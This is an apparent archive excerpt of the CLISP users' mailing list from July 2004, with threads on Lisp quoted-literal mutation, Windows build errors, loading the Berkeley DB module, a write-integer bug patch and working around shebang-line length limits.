3. Furthermore, IIRC non-local transfer of control happen (via throw or =
error) uses some stored information about the original machine stack =
which doesn't make sense when used from another thread.

Now Andreas is successfully building his library under Lispworks (which =
supports threads) where it seems to work. Nevertheless, I'd like to =
have this issue confirmed or denied if possible.

One could argue such a configuration might be made to work if there's =
no concurrency w.r.t. CLISP. All that then counts would be that the =
calling thread has set the right variables and context. I don't know if =
this is the case for Andreas' code.

I.e. this *might* possibly work (but e.g. on Amiga, the other thread =
should not use the first one's filehandles, I don't know whether there =
are similar restrictions on MS-Windows):
1. Lisp call foreign
2. foreign starts thread and loops until some stop signal
3. thread creates event loop
4. threads calls back into lisp
5. Lisp does something and returns into foreign land
6. repeat 4-5 a few times
7. thread sends stop signal to parent and terminates (or at least does =
not do anything to Lisp)
8. initial foreign call terminates, returning to Lisp

Non-local transfer of control between the two threads must probably be =
avoided at all costs (i.e. callback signaling a condition)!

Regards,
	J=F6rg H=F6hle


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Hi clisp developers,

can you please try this code:


(defun symbolize-preserving-case (str-rspc)
  "\"abc def ghi\" ---> (|abc| |def| ghi|)"
  (check-type str-rspc string)
  (let ((list (coerce str-rspc 'list))(char)(result nil))
    (setq result '(#\( #\|))
    (while list
      (setq char (pop list))
      (if (eql char #\Space)
	  (progn
	    (push-right #\| result)
	    (push-right #\Space result)
	    (push-right #\| result)
	    (while (eql (car list) #\Space)
	      (pop list)
	      )
	    )
	(push-right char result)
	)
      )
    (push-right #\| result)
    (push-right #\) result)
    (read-from-string (coerce result 'string))
    )
  )

(defmacro push-right (item place)
  `(setq ,place (nconc ,place (list ,item))) )


look at what i get:

> (symbolize-preserving-case "aaa x y  zzzz")
(|aaa| |x| |y| |zzzz|) ;
22

so far so good

BUT:

> (symbolize-preserving-case "abc def ghi")
(|aaa| |x| |y| |zzzz|) ;
22

!!! it keeps the result of the previous run!!!
although I use "let" form

when i run with step variable result start with nil as it should

BUT the second parameter of the setq
(setq result '(#\( #\|))
has the value of the result of the previous run!!!

When i change the (setq result '(#\( #\|))

by 
    (setq result nil)
    (push #\| result)
    (push #\( result)

it works perfectly.

Weird isn't it?

clisp version is clisp-2.33.2-10.rh7.3.at.i386.rpm

Thanks for  your help

Jacques


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> * Jacques B. Siboni <wnpfvo@yhgrpvhz.bet> [2004-07-19 13:43:29 +0000]:
>
>     (setq result '(#\( #\|))
> 	    (push-right #\| result)
> !!! it keeps the result of the previous run!!!

you are destructively modifying a quoted list.
try

        (setq result (list #\( #\|)))

instead

> Weird isn't it?

nope. quoted literals are not re-created each time you run your
function.  try disassembling it.

note:

[1]> (setf (readtable-case *readtable*) :preserve)

:PRESERVE
[2]> (READ-FROM-STRING "(foo bar baz)")

(foo bar baz) ;
13
[3]> (SETF (READTABLE-CASE *READTABLE*) :UPCASE)

:UPCASE
[4]> **

(|foo| |bar| |baz|)
[5]> 

alternatively,

(let ((*readtable* (copy-readtable nil)))
  (setf (readtable-case *readtable*) :preserve)
  (read-from-string "(foo bar baz)"))
==>

(|foo| |bar| |baz|) ;
13

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Date: Mon Jul 19 10:23:03 2004
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Sam, thanks for the explanation, i was not aware of this side effect.

and thanks for the elegant solution you have suggested

All the best

Jacques

Sam Steingold wrote:
> 
> > * Jacques B. Siboni <wnpfvo@yhgrpvhz.bet> [2004-07-19 13:43:29 +0000]:
> >
> >     (setq result '(#\( #\|))
> >           (push-right #\| result)
> > !!! it keeps the result of the previous run!!!
> 
> you are destructively modifying a quoted list.
> try
> 
>         (setq result (list #\( #\|)))
> 
> instead
> 
> > Weird isn't it?
> 
> nope. quoted literals are not re-created each time you run your
> function.  try disassembling it.
> 
> note:
> 
> [1]> (setf (readtable-case *readtable*) :preserve)
> 
> :PRESERVE
> [2]> (READ-FROM-STRING "(foo bar baz)")
> 
> (foo bar baz) ;
> 13
> [3]> (SETF (READTABLE-CASE *READTABLE*) :UPCASE)
> 
> :UPCASE
> [4]> **
> 
> (|foo| |bar| |baz|)
> [5]>
> 
> alternatively,
> 
> (let ((*readtable* (copy-readtable nil)))
>   (setf (readtable-case *readtable*) :preserve)
>   (read-from-string "(foo bar baz)"))
> ==>
> 
> (|foo| |bar| |baz|) ;
> 13
> 

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Subject: [clisp-list] clisp 2.33.2 build error on win32 with msvc 7.0
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Hello,

I am trying to build clisp 2.33.2 on a win32 machine that is running
Visual Studio .NET 2003. I am using the MFLAGS of -MT. I went through the
/win32msvc/INSTALL file to build clisp. When it has you copy the makefile
to the src directory I copied Makefile.msvc7 to the src directory. When I
run nmake on the makefile, it brings up this error:

..\utils\gcc-cccp\cccp -U__GNUC__ -+ -D_M_IX86=500 -D_WIN32 -IC:\Program
Files\Microsoft Visual Studio .NET 2003\VC7\include -D_MSC_VER=1300
-D_INTEGRAL_MAX_BITS=64 -IC:\Program Files\Microsoft Visual Studio .NET
2003\VC7\PlatformSDK\include  -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT
-DNO_SIGSEGV -I. spvw.c > spvw.i.c

..\utils\gcc-cccp\cccp: Usage: ..\utils\gcc-cccp\cccp [switches] input
output
NMAKE: fatal error U1077: ..\utils\gcc-cccp\cccp' : return code '0x21'
Stop.

Has anyone experienced this problem before? Does anyone have a solution?

Thanks,
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Date: Mon Jul 19 13:55:02 2004
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> * Mike Teixeira <grvkrvez@bavq.befg.rqh> [2004-07-19 13:34:27 -0700]:
>
> ..\utils\gcc-cccp\cccp -U__GNUC__ -+ -D_M_IX86=500 -D_WIN32 -IC:\Program
> Files\Microsoft Visual Studio .NET 2003\VC7\include -D_MSC_VER=1300
> -D_INTEGRAL_MAX_BITS=64 -IC:\Program Files\Microsoft Visual Studio .NET
> 2003\VC7\PlatformSDK\include  -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT
> -DNO_SIGSEGV -I. spvw.c > spvw.i.c
>
> ..\utils\gcc-cccp\cccp: Usage: ..\utils\gcc-cccp\cccp [switches] input
> output

try quoting the path that contains backslashes and spaces.
i.e., write -I"C:/Program Files/Microsoft Visual Studio"

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Date: Mon Jul 19 16:49:00 2004
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Jacques B. Siboni writes:
> Hi clisp developers,
> 
> can you please try this code:
> 
> 
> (defun symbolize-preserving-case (str-rspc)
>   "\"abc def ghi\" ---> (|abc| |def| ghi|)"


(defun symbolize-preserving-case (str-rspc)
  "\"abc def ghi\" ---> (|abc| |def| ghi|)"
  (check-type str-rspc string)
  (do* ((start  (skip-spaces str-rspc 0)  (skip-spaces str-rspc start))
        (result '()))
      ((>= start (length str-rspc)) (nreverse result))
    (let ((end (do ((end start (1+ end)))
                              ((or (>= end (length str-rspc))
                                   (char= #\space (aref str-rspc end)))
                               end))))
      (push (intern (subseq str-rspc start end)) result)
      (setf start end))))


(symbolize-preserving-case "abc def ghi")   ==> (|abc| |def| |ghi|)
(symbolize-preserving-case "aaa x y  zzzz") ==> (|aaa| |x| |y| |zzzz|)


Or even:

(defun symbolize-preserving-case (str)
  "\"abc def ghi\" ---> (|abc| |def| ghi|)"
  (check-type str string)
  (mapcar (function intern)
          (delete "" (split-string str " ") :test (function string=))))

Or you could use the community standard split-sequence instead of my
split-string. The point is that you can abstract and simplify your
functions with higher level constructs. 


> (defmacro push-right (item place)
>   `(setq ,place (nconc ,place (list ,item))) )

> look at what i get:
> 
> > (symbolize-preserving-case "aaa x y  zzzz")
> (|aaa| |x| |y| |zzzz|) ;
> 22
> 
> so far so good
> 
> BUT:
> 
> > (symbolize-preserving-case "abc def ghi")
> (|aaa| |x| |y| |zzzz|) ;
> 22
> 
> !!! it keeps the result of the previous run!!!
> although I use "let" form

LET has nothing to do with it!
 

> when i run with step variable result start with nil as it should
> 
> BUT the second parameter of the setq
> (setq result '(#\( #\|))
> has the value of the result of the previous run!!!

Obviously!  With this setq, you're making result reference to THE literal
list: ( #\( #\| )
 
Then you modify this literal list with the nconc of your push-right macro!

If you fetched the function lambda expression, you'd see that what
you've done is modify your program!

CL-USER> (function-lambda-expression (function symbolize-preserving-case))
(LAMBDA (STR-RSPC) (DECLARE (SYSTEM::IN-DEFUN SYMBOLIZE-PRESERVING-CASE))
 (BLOCK SYMBOLIZE-PRESERVING-CASE (CHECK-TYPE STR-RSPC STRING)
  (LET ((LIST (COERCE STR-RSPC 'LIST)) (CHAR) (RESULT NIL))
   (SETQ RESULT '(#\( #\|))
   (WHILE LIST (SETQ CHAR (POP LIST))
    (IF (EQL CHAR #\Space)
     (PROGN (PUSH-RIGHT #\| RESULT) (PUSH-RIGHT #\Space RESULT)
      (PUSH-RIGHT #\| RESULT) (WHILE (EQL (CAR LIST) #\Space) (POP LIST)))
     (PUSH-RIGHT CHAR RESULT)))
   (PUSH-RIGHT #\| RESULT) (PUSH-RIGHT #\) RESULT)
   (READ-FROM-STRING (COERCE RESULT 'STRING)))))
#(NIL NIL NIL NIL ((DECLARATION VALUES OPTIMIZE DECLARATION)))
SYMBOLIZE-PRESERVING-CASE
CL-USER> (symbolize-preserving-case "aaa x y  zzzz")
(|aaa| |x| |y| |zzzz|)
22
CL-USER> (function-lambda-expression (function symbolize-preserving-case))
(LAMBDA (STR-RSPC) (DECLARE (SYSTEM::IN-DEFUN SYMBOLIZE-PRESERVING-CASE))
 (BLOCK SYMBOLIZE-PRESERVING-CASE (CHECK-TYPE STR-RSPC STRING)
  (LET ((LIST (COERCE STR-RSPC 'LIST)) (CHAR) (RESULT NIL))
   (SETQ RESULT
    '(#\( #\| #\a #\a #\a #\| #\Space #\| #\x #\| #\Space #\| #\y #\| #\Space
      #\| #\z #\z #\z #\z #\| #\)))
   (WHILE LIST (SETQ CHAR (POP LIST))
    (IF (EQL CHAR #\Space)
     (PROGN (PUSH-RIGHT #\| RESULT) (PUSH-RIGHT #\Space RESULT)
      (PUSH-RIGHT #\| RESULT) (WHILE (EQL (CAR LIST) #\Space) (POP LIST)))
     (PUSH-RIGHT CHAR RESULT)))
   (PUSH-RIGHT #\| RESULT) (PUSH-RIGHT #\) RESULT)
   (READ-FROM-STRING (COERCE RESULT 'STRING)))))
#(NIL NIL NIL NIL ((DECLARATION VALUES OPTIMIZE DECLARATION)))
SYMBOLIZE-PRESERVING-CASE



> When i change the (setq result '(#\( #\|))
> 
> by 
>     (setq result nil)
>     (push #\| result)
>     (push #\( result)
> 
> it works perfectly.
> 
> Weird isn't it?

Not at all. 



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Date: Wed Jul 21 11:36:07 2004
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I'm trying to use the berkeley-db module as mentioned in the implementation 
notes (http://clisp.cons.org/impnotes.html#berkeley-db) however I get the 
error message "there is no package with the name BDB" when I try to run 
(BDB:DB-VERSION). 

H:\>clisp --version
GNU CLISP 2.33 (2004-03-17) (built on winsteingoldlap [192.168.1.101])
Software: GNU C 3.3.1 (cygming special) ANSI C program
Features:
(DIRKEY REGEXP SYSCALLS CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL
INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE
BASE-CHAR=CHARACTER PC386 WIN32)
Installation directory: H:\clisp-2.33.1\
User language: ENGLISH
Machine: PC/386 (PC/?86) 

I have install Berkeley-db 4.2.52 

Any pointers? 

Thanks 

Jeff


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Date: Wed Jul 21 11:46:04 2004
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 > I'm trying to use the berkeley-db module as mentioned in the implementation 
 > notes (http://clisp.cons.org/impnotes.html#berkeley-db) however I get the 
 > error message "there is no package with the name BDB" when I try to run 
 > (BDB:DB-VERSION). 

yes this is a frequently asked:

   http://clisp.cons.org/faq.html#modules

You need to run:

	clisp -K full ...

otherwise you get the base CLISP w/out the modules.

In truth I'm not sure why the "full" set is not the default.  I never
use anything other than "full" and it seems for many people (me, who
else matters ;) if you configure build the module implies you're going
to want to use it, no?  But I think there is some reason, perhaps
historical, not sure why "base w/out modules" is the default

Hope this helps!



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> * John K. Hinsdale <uva@nyzn.pbz> [2004-07-21 14:45:06 -0400]:
>
> In truth I'm not sure why the "full" set is not the default.  I never
> use anything other than "full" and it seems for many people (me, who
> else matters ;) if you configure build the module implies you're going
> to want to use it, no?

people who use the pre-built binaries do not have that choice.

> But I think there is some reason, perhaps historical, not sure why
> "base w/out modules" is the default

IIRC, Bruno wants the default to be as simple and reliable as possible.
Frankly, I don't see how the presence of an unused module can reduce
reliability, but what do I know? :-)
I hope Bruno will clarify the matter here for the FAQ list.


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> *  <jbyswo@ovtsbbg.pbz> [2004-07-21 13:26:58 -0500]:
>
> I'm trying to use the berkeley-db module as mentioned in the
> implementation notes (http://clisp.cons.org/impnotes.html#berkeley-db)
> however I get the error message "there is no package with the name BDB"
> when I try to run (BDB:DB-VERSION). 
>
> H:\>clisp --version
> GNU CLISP 2.33 (2004-03-17) (built on winsteingoldlap [192.168.1.101])
> Software: GNU C 3.3.1 (cygming special) ANSI C program
> Features:
> (DIRKEY REGEXP SYSCALLS CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL
> INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE
> BASE-CHAR=CHARACTER PC386 WIN32)
> Installation directory: H:\clisp-2.33.1\
> User language: ENGLISH
> Machine: PC/386 (PC/?86) 
>
> I have install Berkeley-db 4.2.52 

in addition to John's reply, let me mention that

1. I don't remember if berkeley-db is included in the cygwin binary

2. even if it is, the current CVS HEAD has a much improved version:
   <http://www.podval.org/~sds/clisp/impnotes/modules.html#berkeley-db>
   I urge you to get CVS HEAD and build CLISP yourself:
$ cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co clisp
$ cd clisp
$ ./configure --with-module=berkeley-db --build build-bdb
$ ./build-bdb/clisk -K full

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Unfortunately, I'm firewalled out of using cvs. Is the source version on the 
sourceforge download page close enough? 

BTW, sorry for missing the modules question in the FAQ. I did try to find 
the answer before asking here, but being a bit of a newbie means I don't 
always know where to look or how to ask the question correctly when reading 
the doc. I appreciate your patience. 

Thanks!
Jeff 

Sam Steingold writes: 

>> *  <jbyswo@ovtsbbg.pbz> [2004-07-21 13:26:58 -0500]: 
>>
>> I'm trying to use the berkeley-db module as mentioned in the
>> implementation notes (http://clisp.cons.org/impnotes.html#berkeley-db)
>> however I get the error message "there is no package with the name BDB"
>> when I try to run (BDB:DB-VERSION).  
>>
>> H:\>clisp --version
>> GNU CLISP 2.33 (2004-03-17) (built on winsteingoldlap [192.168.1.101])
>> Software: GNU C 3.3.1 (cygming special) ANSI C program
>> Features:
>> (DIRKEY REGEXP SYSCALLS CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL
>> INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE
>> BASE-CHAR=CHARACTER PC386 WIN32)
>> Installation directory: H:\clisp-2.33.1\
>> User language: ENGLISH
>> Machine: PC/386 (PC/?86)  
>>
>> I have install Berkeley-db 4.2.52 
> 
> in addition to John's reply, let me mention that 
> 
> 1. I don't remember if berkeley-db is included in the cygwin binary 
> 
> 2. even if it is, the current CVS HEAD has a much improved version:
>    <http://www.podval.org/~sds/clisp/impnotes/modules.html#berkeley-db>
>    I urge you to get CVS HEAD and build CLISP yourself:
> $ cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co clisp
> $ cd clisp
> $ ./configure --with-module=berkeley-db --build build-bdb
> $ ./build-bdb/clisk -K full 
> 
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Thanks, that fixed the problem.
On Jul 19, 2004, at 1:53 PM, Sam Steingold wrote:

>> * Mike Teixeira <grvkrvez@bavq.befg.rqh> [2004-07-19 13:34:27 -0700]:
>>
>> ..\utils\gcc-cccp\cccp -U__GNUC__ -+ -D_M_IX86=500 -D_WIN32 
>> -IC:\Program
>> Files\Microsoft Visual Studio .NET 2003\VC7\include -D_MSC_VER=1300
>> -D_INTEGRAL_MAX_BITS=64 -IC:\Program Files\Microsoft Visual Studio 
>> .NET
>> 2003\VC7\PlatformSDK\include  -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT
>> -DNO_SIGSEGV -I. spvw.c > spvw.i.c
>>
>> ..\utils\gcc-cccp\cccp: Usage: ..\utils\gcc-cccp\cccp [switches] input
>> output
>
> try quoting the path that contains backslashes and spaces.
> i.e., write -I"C:/Program Files/Microsoft Visual Studio"
>
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Hello,

I am building 2.33.2 on a Windows XP box with Visual Studio .NET 2003. 
I am getting the following errors when I build:

spvwtabf.i.c
subr.d(165) : error C2099: initializer is not a constant
subr.d(165) : warning C4047: 'initializing' : 'uintL' differs in levels 
of indirection from 'void *'
subr.d(166) : error C2099: initializer is not a constant
subr.d(166) : warning C4047: 'initializing' : 'uintL' differs in levels 
of indirection from 'void *'
subr.d(167) : error C2099: initializer is not a constant
...
...
...
subr.d(282) : error C2099: initializer is not a constant
subr.d(282) : warning C4047: 'initializing' : 'uintL' differs in levels 
of indirection from 'void *'
subr.d(284) : error C2099: initializer is not a constant
subr.d(284) : warning C4047: 'initializing' : 'uintL' differs in levels 
of indirection from 'void *'
subr.d(286) : error C2099: initializer is not a constant
subr.d(286) : fatal error C1003: error count exceeds 100; stopping 
compilation


Has anyone had any experience with this issue?

Thanks,
Mike



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Sam wrote:
> > But I think there is some reason, perhaps historical, not sure why
> > "base w/out modules" is the default
>
> IIRC, Bruno wants the default to be as simple and reliable as possible.
> Frankly, I don't see how the presence of an unused module can reduce
> reliability, but what do I know? :-)

Making the default linkingset the 'base' one has the following advantages:

  - It avoids problems when a module requires a shared library, and that
    shared library is not present (or is present but with wrong version)
    on your system.

  - People looking at the size of "ps aux" or "(room t)" will not think
    "gee - lisp is so bloated". (That was precisely my impression when
    I first saw a CMUCL memory image, 20 MB large.)

  - Adding things to the heap means increased working set size, thus a
    slowdown. It matters for small to medium applications.

  - For us developers, support is easier, because we don't have to ask for
    each bug report whether the linnkingset contained clx or not.

Bruno



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Hello, All!

(ext:write-integer -1 stream '(signed-byte 32))
writes there integer that was written there previously. it should at least
say something, i think 8-]
it will be great if it work, otherwise one has to use something like

(loop for i from 0 to 24 by 8 do (write-byte (ldb (byte 8 i) -1) s))

8-[

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> * Randolph Udodenko <hqbqraxb@hfref.fbheprsbetr.arg> [2004-07-22 00:47:44 +0300]:
>
> (ext:write-integer -1 stream '(signed-byte 32))
> writes there integer that was written there previously. it should at least
> say something, i think 8-]
> it will be great if it work, otherwise one has to use something like
>
> (loop for i from 0 to 24 by 8 do (write-byte (ldb (byte 8 i) -1) s))

Sorry, I do not understand the question.


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I'm writing a traditional UNIX filter that works with binary input as 
well.ISO-8859-1 looks to be the safe bet, so the script that invokes clisp 
looks like this:

#!/usr/bin/clisp -Eterminal iso-8859-1 -Efile iso-8859-1 ...

The problem is that the whole line is too long for the linux kernel and it 
gets truncated. I would like to set the encodings in the lisp code, but the 
*standard-input* stream already exists.

Is there a way out of this?

Thanks, Gabor


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 > #!/usr/bin/clisp -Eterminal iso-8859-1 -Efile iso-8859-1 ...
 > 
 > The problem is that the whole line is too long for the linux kernel

Well I have a solution, it DOES work for me, but there may be better
ways.  But I post this in case you are desperate.

Yes, on my Linux box it seems to be limited to 128 characters ...
Surprisingly lame of Linux/Unix really ...

 > I would like to set the encodings in the lisp code, but the 
 > *standard-input* stream already exists.

Right, so I think you need to set the encodings via the CLISP command
line arguments, before CLISP sets up *STANDARD-INPUT*, and freezes its
character encoding for the remainder of the program (developers, is
that correct?).

At any rate, a way around the silly 128-char limit of the "!" line, is
to make a "C" program wrapper that inserts the extra CLISP arguments
for you.  [I tried to do this hack with a plain /bin/sh shell wrapper
and it did not work -- I do not think you can "nest" #! interpreters].

 > Is there a way out of this?

YES, you can use the method below, unless Sam has a better idea ;)

This hack allows a CLISP program to read binary data from
*standard-input* even when fed as a Unix pipe ...

Create the following two files, "myclisp.c" and "test.sh" by cutting
and pasting what is attached below.  Edit "prepend_args" array in
"myclisp.c" to add as many extra "standard" CLISP options you want
(i.e., the ones that are taking up all the room ;)   Note each option
must be a separate string in the array (don't put spaces inside the
strings).  Then compile it with:

     gcc -o myclisp myclisp.c 

Install "myclisp" somehere accessible to you (in your home, or
/usr/local/bin for systemwide visibility, whatever)

Edit "test.sh" to replace the first line (/path/to/myclisp) with where
you installed the compiled "myclisp" ...

Run test.sh, feeding it some binary data.  Note that you can do BOTH
	./test.sh <my-binary-data
AND
	cat my-binary-data | ./test.sh

This second form (Unix pipe/filter) is I believe what you are asking
to do.  CLISP opens *STANDARD-INPUT* differently in each of these two
cases.  In the first case CLISP sees a "file" type of stream, in the
second a "terminal' type of stream.  In the second case, when CLISP
opens the *standard-input* as a terminal, you _cannot_ use READ-BYTE
on it.  See:

   http://clisp.cons.org/impnotes/stream-dict.html#bin-stdio

However, you _can_ use READ-CHAR, which, when you use an 8-bit char
set like ISO-8859-1, you can get the binary data.  You may then need
to further do something like:

     (setf binary-char (coerce (char-code c) '(unsigned-byte 8)))

to convert the ISO-8859-1 characters to raw bytes.  Note that the
ISO-8859 meaning of the character is irrelevant here.

Also note that you can invoke "test.sh" with additional arguments that
will show up in (ARGV) and which you can access in the Lisp code:

	binary-generator-program | test.sh arg1 arg2

I tested this out and it seems to work for me on Linux to read binary
(8-bit octets) from *standard-input*, whether from file or a pipe.

Hope this helps ... ugly but it works; code follows...

	Cheers,

-------  Cut below here and save as myclisp.c ---------
/* myclisp.c - Execute CLISP with extra options, bypassing 128-char
   limit of the Unix "#!" command-interpeter facility */

#include <unistd.h>

/* Execute this interpreter ... */
static char * interpreter = "/usr/local/bin/clisp";

/* ... with these arguments pre-pended to the args given to this program.
   There is no siginificant limit to the number or size of args here.
 */
static char * prepend_args[] = {
  "-Efile",     "iso-8859-1",
  "-Epathname", "iso-8859-1",
  "-Eterminal", "iso-8859-1",
  "-Eforeign",  "iso-8859-1",
  "-Emisc",     "iso-8859-1",
  "-q",
};

/* Re-exec a new interpreter, inserting arguments above */
int main(int argc, char **argv) {

  int nprepend = sizeof prepend_args / sizeof *prepend_args;
  char ** newargv = (char **) malloc((nprepend + argc + 1) * sizeof *newargv);
  int i;
  char **p;
  
  newargv[0] = interpreter;

  for (i=0; i < nprepend; i++)
    newargv[i+1] = prepend_args[i];

  for (i=nprepend; i < nprepend + argc; i++)
    newargv[i+1] = argv[i - nprepend + 1];

  argv[nprepend + argc] = 0;
  
  execvp(*newargv, newargv);
  return 1;
}
-------  Cut above here and save as myclisp.c ---------

-------  Cut below here and save as test.sh ---------
#!/u/hin/myclisp

; Replace the #! line above with the path to the compiled program "myclisp"

; Use READ-CHAR on a stream encoded in ISO-8851-1 or other
; 8-bit character set to get binary data
(defun read-binary (s)
  (print "Beginning of stream ...")
  (do (char eof)
      (eof)
      (setf char (read-char s nil))
          (if (not char) (setf eof t)
                (print (char-code char))))
  (print "... end of the stream"))

; Show the encodings we are using
(mapcar #'print (list
        "Here are the format encodings ..."
        *default-file-encoding*
        *foreign-encoding*
        *misc-encoding*
        *pathname-encoding*
        *terminal-encoding*
        "... end of the format encodings:"))

; Show the command arguments
(mapcar #'print (list
        "Beginning of the command arguments ..."
        (argv)
        "... end of the command arguments"))

; Read the binary from the standard input
(read-binary *standard-input*)
-------  Cut above here and save as test.sh ---------



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> * John K. Hinsdale <uva@nyzn.pbz> [2004-07-22 09:34:33 -0400]:
>
>  > #!/usr/bin/clisp -Eterminal iso-8859-1 -Efile iso-8859-1 ...

how about just "-E iso-8859-1"?
<http://clisp.cons.org/clisp.html#opt-enc>

> Yes, on my Linux box it seems to be limited to 128 characters ...

<http://clisp.cons.org/impnotes/quickstart.html>:
On some platforms, the first line which specifies the interpreter is
limited in length:

    * max. 32 characters on SunOS 4,
    * max. 80 characters on HP-UX,
    * max. 127 characters on Linux.

>  > I would like to set the encodings in the lisp code, but the 
>  > *standard-input* stream already exists.
>
> Right, so I think you need to set the encodings via the CLISP command
> line arguments, before CLISP sets up *STANDARD-INPUT*, and freezes its
> character encoding for the remainder of the program (developers, is
> that correct?).

1. first, you can do (ext:make-stream :input)
   <http://clisp.cons.org/impnotes/stream-dict.html#make-stream>

2. IIRC, when CLISP runs as a script interpreter, *standard-input* is a
   usual buffered handle stream, so you can change its encoding at will.

> At any rate, a way around the silly 128-char limit of the "!" line, is
> to make a "C" program wrapper that inserts the extra CLISP arguments
> for you.  [I tried to do this hack with a plain /bin/sh shell wrapper
> and it did not work -- I do not think you can "nest" #! interpreters].

yes.

> In the first case CLISP sees a "file" type of stream, in the second a
> "terminal' type of stream.  In the second case, when CLISP opens the
> *standard-input* as a terminal, you _cannot_ use READ-BYTE on it.
> See:
>    http://clisp.cons.org/impnotes/stream-dict.html#bin-stdio

*STANDARD-INPUT* should be a synonym to *TERMINAL-IO* only when user
interaction is expected.  Please report everything else as a bug (but
first test against CVS head because I think it has been fixed).

> However, you _can_ use READ-CHAR, which, when you use an 8-bit char
> set like ISO-8859-1, you can get the binary data.  You may then need
> to further do something like:
>      (setf binary-char (coerce (char-code c) '(unsigned-byte 8)))
> to convert the ISO-8859-1 characters to raw bytes.  Note that the
> ISO-8859 meaning of the character is irrelevant here.

this is not a good idea, both conceptually and performance-wise.

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hello

hm, look's like previous message is somewhat messy.. 8-]

when i write (ext:write-integer data stream '(unsigned-byte 32)) it works
well.
but i needed to write there negative numbers too.
so i thought that '(signed-byte 32) will work as well.
there was no error raised, but it wrote incorrect data to my file. (that
incorrect data is last one integer that is written with '(unsigned-byte 32)
or some garbage).
so i think it should at least report error - that '(signed-byte 32) is not
acceptable.
or better it should support '(signed-byte 32) - it will increase usefullness
of this function a lot with almost no cost.

by the way, thanks people who develop clisp for clisp. 8-] it's my favourite
Common Lisp implementation under win32..





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On Thursday 22 July 2004 16:22, Sam Steingold wrote:
> > * John K. Hinsdale <uva@nyzn.pbz> [2004-07-22 09:34:33 -0400]:
> >  > #!/usr/bin/clisp -Eterminal iso-8859-1 -Efile iso-8859-1 ...
>
> how about just "-E iso-8859-1"?
> <http://clisp.cons.org/clisp.html#opt-enc>

Hmm. I didn't realize that's possible. Something is strange, though:

$ clisp -q "-E iso-8859-1"

doesn't work (prints usage), but

$ clisp "-E iso-8859-1" -q

and

$ clisp -q -Efile iso-8859-1

does.


>
> > Yes, on my Linux box it seems to be limited to 128 characters ...
>
> <http://clisp.cons.org/impnotes/quickstart.html>:
> On some platforms, the first line which specifies the interpreter is
> limited in length:
>
>     * max. 32 characters on SunOS 4,
>     * max. 80 characters on HP-UX,
>     * max. 127 characters on Linux.
>

That's so low that depending on the length of the path where the xxx program 
is installed my script can run into trouble. What about this wasteful 
solution?

#!/bin/sh
F=/tmp/xxx-invoker$$
echo '(xxx)' > $F
# "-E iso-8859-1" doesn't work here either
/home/mega/lib/clisp/xxx/lisp.run -Efile iso-8859-1 -Eterminal iso-8859-1 \
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rm -f $F


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 > Something is strange, though:
 >   $ clisp -q "-E iso-8859-1"
 > doesn't work (prints usage),

CLISP wants the "-E" and the "iso-8859-1" to be separate Unix command
arguments.  When you put the quotes around it, gets squashed into
a single argument.

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that is weird

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as expected (the "-Efile" and its parameters are separate)




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 > 1. first, you can do (ext:make-stream :input)
 >    <http://clisp.cons.org/impnotes/stream-dict.html#make-stream>
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 > 2. IIRC, when CLISP runs as a script interpreter, *standard-input* is a
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see i knew Sam would have a better idea. ;)

I think you still need something like the "C" wrapper hack if you
really must use a lot of other command options.  (Setting the stdin
encoding and skirting the 128-char limit are really two different
issues).

I suppose in principle anything you can do on the command line you
should also be able to do from Lisp (like set memory usage, lanauage,
Lisp dialect etc.) so that use of lots command options can be avoided.

Cheers and good luck.

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> * Randolph Udodenko <hqbqraxb@hfref.fbheprsbetr.arg> [2004-07-22 17:22:59 +0300]:
>
> or better it should support '(signed-byte 32) - it will increase
> usefullness of this function a lot with almost no cost.

thanks for the bug report.
patch appended.

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Index: stream.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/stream.d,v
retrieving revision 1.438
retrieving revision 1.439
diff -u -w -b -u -b -w -i -B -r1.438 -r1.439
--- stream.d	2 Jun 2004 21:32:30 -0000	1.438
+++ stream.d	22 Jul 2004 17:27:35 -0000	1.439
@@ -4378,8 +4378,7 @@
   # obj is an integer
   # transfer obj into the bitbuffer:
   {
-    var uintB* bitbufferptr =
-      TheSbvector(TheStream(stream)->strm_bitbuffer)->data;
+    var uintB* bitbufferptr = TheSbvector(bitbuffer)->data;
     var uintL count = bytesize;
     var uintL sign = (sintL)R_sign(obj);
     if (fixnump(obj)) {


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> * Mike Teixeira <grvkrvez@bavq.befg.rqh> [2004-07-21 13:02:07 -0700]:
>
> I am building 2.33.2 on a Windows XP box with Visual Studio .NET
> 2003. I am getting the following errors when I build:
>
> spvwtabf.i.c
> subr.d(165) : error C2099: initializer is not a constant
> subr.d(165) : warning C4047: 'initializing' : 'uintL' differs in levels
> of indirection from 'void *'
> subr.d(166) : error C2099: initializer is not a constant
> subr.d(166) : warning C4047: 'initializing' : 'uintL' differs in levels
> of indirection from 'void *'
> subr.d(167) : error C2099: initializer is not a constant
> ...
> ...
> ...
> subr.d(282) : error C2099: initializer is not a constant
> subr.d(282) : warning C4047: 'initializing' : 'uintL' differs in levels
> of indirection from 'void *'
> subr.d(284) : error C2099: initializer is not a constant
> subr.d(284) : warning C4047: 'initializing' : 'uintL' differs in levels
> of indirection from 'void *'
> subr.d(286) : error C2099: initializer is not a constant
> subr.d(286) : fatal error C1003: error count exceeds 100; stopping
> compilation
>
> Has anyone had any experience with this issue?

I do not use msvc (mingw produces faster CLISP binaries).
I hope Arseny will help you.

If you look at spvwtabf.i.c, you will probably be able to find the
specific expressions that cause this.  If you do, please post them here.

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> * Gabor Melis <zrtn@ubgcbc.pbz> [2004-07-22 13:24:42 +0200]:
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> I'm writing a traditional UNIX filter that works with binary input as
> well.ISO-8859-1 looks to be the safe bet, so the script that invokes
> clisp looks like this:
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> #!/usr/bin/clisp -Eterminal iso-8859-1 -Efile iso-8859-1 ...
>
